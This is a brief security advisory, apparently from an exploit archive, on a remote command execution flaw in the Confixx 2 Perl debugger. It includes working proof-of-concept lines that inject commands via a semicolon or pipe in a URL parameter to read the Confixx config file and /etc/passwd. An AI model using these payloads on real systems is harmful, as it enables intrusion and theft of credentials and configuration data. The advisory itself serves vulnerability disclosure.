Confixx 2 - Perl Debugger Remote Command Execution

source: https://www.securityfocus.com/bid/9831/info

The Confixx PERL debugging utility functionality has been reported to be prone to a remote command execution vulnerability. The issue is reported to occur when a command sequence is appended to a HTTP request for a PERL script resource, the command sequence must contain a prefixed ';' semi-colon character. When this request is processed, the command sequence will be reportedly executed with the privileges of the process that invokes the Confixx PERL debugging utility.

; /bin/cat location_of_Confixx_config_file
http://www.example.com/user/tools_cgicheck2.php?dir=&file=%20./x%20|/bin/cat%20/etc/passwd